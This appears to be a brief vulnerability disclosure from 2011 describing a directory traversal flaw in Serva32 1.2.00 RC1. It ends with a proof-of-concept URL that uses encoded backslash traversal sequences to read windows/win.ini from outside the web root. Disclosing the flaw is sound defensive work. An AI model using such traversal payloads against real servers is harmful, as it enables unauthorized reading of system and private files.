A directory traversal vulnerability in Serva32 version 1.2.00 RC1 can be exploited to read files outside of the web root.
36ef686f24a435eddbe553ae5e744a2ddd3c73ecea4f76a2fabce8cbc90b03f0
------------------------------------------------------------------------
Software................Serva32 1.2.00 RC1
Vulnerability...........Directory Traversal
Threat Level............Serious (3/5)
Download................http://www.vercot.com/~serva/
Discovery Date..........5/7/2011
Tested On...............Windows Vista + XAMPP
------------------------------------------------------------------------
Author..................AutoSec Tools
Site....................http://www.autosectools.com/
Email...................John Leitch <john@autosectools.com>
------------------------------------------------------------------------
--Description--
A directory traversal vulnerability in Serva32 1.2.00 RC1 can be
exploited to read files outside of the web root.
--PoC--
http://localhost/..%5C/..%5C/..%5C/..%5C/..%5C/..%5C/..%5C/..%5C/windows/win.ini